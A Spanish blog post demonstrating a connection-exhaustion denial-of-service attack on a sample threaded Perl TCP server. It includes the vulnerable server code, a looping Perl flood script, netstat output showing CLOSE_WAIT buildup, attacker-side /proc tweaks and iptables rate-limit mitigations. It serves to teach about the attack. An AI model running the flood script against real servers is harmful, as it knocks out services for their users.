Necesitamos un servidor TCP que nos facilite el trabajo, en este caso el servidor simplemente dormirá 10 segundos cuando reciba la cadena “sleep”, envía el mensaje “Awake!” y después de esto cerrará la conexión:
use IO::Socket;
use threads;
sub clientes {
my ($client) = @_;
while(<$client>) {
if($_ =~ /sleep/){
print "Durmiendo 10 segs...\n";
sleep(10);
}
}
print $client “Awake!\n”;
print “Cerrando conexión...\n";
close($client)
}
my $sock = new IO::Socket::INET (
LocalPort => '8080',
Proto => 'tcp',
Listen => 2,
Reuse => 1,
);
die "Could not create socket: $!\n" unless $sock;
while(my $new_sock = $sock->accept()) {
print "Nuevo cliente (".$new_sock->peerhost().") :D\n";
threads->create('clientes', $new_sock);
}
close($sock);
El código a simple vista no parece vulnerable, sin embargo, lo es.
Zer0-null:/home/xianur0 # nc -vvvv localhost 8080
nc: connect to localhost port 8080 (tcp) failed: Connection refused
Connection to localhost 8080 port [tcp/http-alt] succeeded!
sleep
^C
Conectamos al 8080 con netcat, enviamos la palabra sleep y finalizamos con ctrl+c (sin esperar 10 segundos) el resultado:
Zer0-null:/home/xianur0 # perl server.pl
Nuevo cliente (127.0.0.1) :D
Durmiendo 10 segs...
Cerrando conexión...
El servidor esperó 10 segundos antes de enviar el mensaje e intentar cerrar la conexión (que ya estaba cerrada) esto es, el servidor consumió recursos estando ya el socket cerrado, hasta ahora el ataque no tiene gracia, pero si lo realizamos a mayor escala, obtendremos resultados bastante interesantes:
use IO::Socket;
while(1){
my $sock = new IO::Socket::INET (
PeerAddr => 'localhost',
PeerPort => '8080',
Proto => 'tcp') || die("No se puede conectar!\n");
print $sock "sleep\n";
close($sock);
}
Zer0-null:/home/xianur0 # perl server.pl
Nuevo cliente (127.0.0.1) :D
Durmiendo 10 segs...
Nuevo cliente (127.0.0.1) :D
Durmiendo 10 segs...
Nuevo cliente (127.0.0.1) :D
[…]
Zer0-null:/home/xianur0 # netstat | grep -i CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36338 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36324 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36330 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36320 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36323 CLOSE_WAIT
tcp 1 0 localhost:http-alt localhost:36322 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36313 CLOSE_WAIT
tcp 1 0 localhost:http-alt localhost:36327 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36339 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36331 CLOSE_WAIT
tcp 1 0 localhost:http-alt localhost:36317 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36328 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36319 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36335 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36334 CLOSE_WAIT
tcp 1 0 localhost:http-alt localhost:36318 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36341 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36314 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36315 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36316 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36321 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36325 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36333 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36336 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36340 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36329 CLOSE_WAIT
tcp 0 0 localhost:http-alt localhost:36326 CLOSE_WAIT
CLOSE_WAIT se sigue considerando como una conexión abierta, entonces ese servidor tiene en este caso algo así como 28 conexiones abiertas, en nuestro caso solo utilizamos 1 conexión por vez, lo cual es una cantidad de recursos bastante menor, en cuanto el servidor cierra las conexiones dejan de aparecer esos CLOSE_WAIT y expira... eso no es totalmente cierto, todos los sistemas que soportan TCP implementan las retransmisiones, lo cual es reenviar el mismo paquete x cantidad de veces esperando una respuesta (esto se creó debido a que puede haber perdida de datos a través de la red), el detalle es que cuando una conexión pasa a los estados CLOSE_WAIT, FIN_WAIT y similares comienza a hacer retransmisiones (intentando enviar un dato o cerrar la conexión).
¿El peligro de esto?
Supongamos que con una sola conexión logramos generarle al servidor aproximadamente 28 conexiones a medio cerrar, esto también es 28 hilos, consumiendo recursos (incluso tener una conexión abierta consume recursos pues la pila reserva un espacio de memoria por conexión), si utilizamos 10 conexiones serían aproximadamente 280 conexiones al mismo tiempo a medio cerrar en el servidor, adicional a 280 hilos que están ejecutando “sleep 10;”, adicional a todo esto tenemos la retransmisiones que según el sistema operativo (y la configuración de la pila TCP) pueden repetir hasta 15 veces (o incluso más) por defecto.
En linux podemos conocer este número mediante los archivos:
/proc/sys/net/ipv4/tcp_retries1 (min)
/proc/sys/net/ipv4/tcp_retries2 (max)
¿Se pueden hacer más eficiente este ataque?
Las retransmisiones son uno de los mayores peligros, pues si las retransmisiones llevan datos muy grandes pueden afectar nuestra banda o incluso las retransmisiones generadas por nuestro propio sistema (sí, el atacante también pueden generar retransmisiones) pueden afectarnos.
echo 0 > /proc/sys/net/ipv4/tcp_retries1
echo 0 > /proc/sys/net/ipv4/tcp_retries1
De este modo desactivamos la retransmisiones hasta el próximo reinicio.
¿Se puede corregir este “bug”?
No hay forma de corregir este ataque aun pues es un problema en la pila tcp y no se ha creado un parche funcional, además de que el problema implica a la capa de aplicación también (que es donde se ejecuta el servidor que “configura” a la pila), se pueden disminuir las retransmisiones en el servidor para disminuir los efectos, pero eso no solucionaría el problema por completo.
Otra cosa que puede ayudar es limitar la cantidad de conexiones por IP:
iptables -A INPUT -p tcp -m tcp --dport 8080 -m limit --limit 10/sec -j ACCEPT
Nuevamente esto no soluciona las cosas por completo, pero ayuda a disminuir los efectos.
Pruebas de concepto de este ataque en servidores reales:
By Xianur0
0 comentarios:
Publicar un comentario